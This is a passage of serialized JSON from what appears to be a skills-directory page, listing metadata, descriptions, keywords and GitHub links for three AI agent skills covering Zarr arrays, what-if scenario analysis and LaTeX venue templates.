"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":175,"publishedAt":47},"01M6F000KS6YB4MKS774G4R8ND","zarr-python","Chunked N-D arrays for cloud storage. Compressed arrays, parallel I\u002FO, S3\u002FGCS integration, NumPy\u002FDask\u002FXarray compatible, for large-scale scientific computing pipelines.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fzarr-python\u002FSKILL.md",[],[176,177,178,179,180,181,182,183,184,185,186,187,188,189,190],"python","zarr python","storage","integration","s3","gcs","cloud","dask","parallel","pipelines","arrays","numpy","scientific computing","scale","scientific",{"skillNo":192,"name":193,"nameZh":6,"description":194,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":195,"categories":196,"keywords":198,"publishedAt":47},"01M6EZZJWFXM1GR78KTW6J0DN8","what-if-oracle","Run structured What-If scenario analysis with multi-branch possibility exploration. Use this skill when the user asks speculative questions like \"what if...\", \"what would happen if...\", \"what are the possibilities\", \"explore scenarios\", \"scenario analysis\", \"possibility space\", \"what could go wrong\", \"best case \u002F worst case\", \"risk analysis\", \"contingency planning\", \"strategic options\", or any question about uncertain futures. Also trigger when the user faces a fork-in-the-road decision, wants to stress-test an idea, or needs to think through consequences before committing.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fwhat-if-oracle\u002FSKILL.md",[197],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[199,200,201,202,203,204,205,206,207,208,209,143,144,210,211,212,213,214,215,216],"oracle","what if oracle","go","run","ux","futures","analysis","explore","decision","branch","question","idea","exploration","options","stress-test","strategies","scenario","stress",{"skillNo":218,"name":219,"nameZh":6,"description":220,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":114,"licenseFileUrl":6,"sourceHtmlUrl":221,"categories":222,"keywords":233,"publishedAt":47},"01M6EZZCXAEB49RXGQCJX5E8GB","venue-templates","Access comprehensive LaTeX templates, formatting requirements, and submission guidelines for major scientific publication venues (Nature, Science, PLOS, IEEE, ACM), academic conferences (NeurIPS, ICML, CVPR, CHI), research posters, and grant proposals (NSF, NIH, DOE, DARPA). This skill should be used when preparing manuscripts for journal submission, conference papers, research posters, or grant proposals and need venue-specific formatting requirements and templates.","https:\u002F\u002Fgithub.com\u002Fhenriquescastilho\u002Fmy-claude\u002Fblob\u002Fmain\u002F.codex\u002Fvendor_imports\u002Fclaude\u002Fmarketplaces\u002Fclaude-scientific-skills\u002Fscientific-skills\u002Fvenue-templates\u002FSKILL.md",[223,226,229,230],{"categoryNo":224,"categoryName":225,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":227,"categoryName":228,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000021","资料检索与研究",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":231,"categoryName":232,"taxonomyType":129,"taxonomyTypeDesc":130},"01JBSEEDCAT000000000000036","内容创作者",[234,235,236,237,238,239,240,241,140,242,143,144,145,243,244,245,246,247,190,248],"templates","venue templates","research","guidelines","NeurIPS","ICML","LaTeX","science","access","proposals","Academic","requirements","formatting","journal","chi"]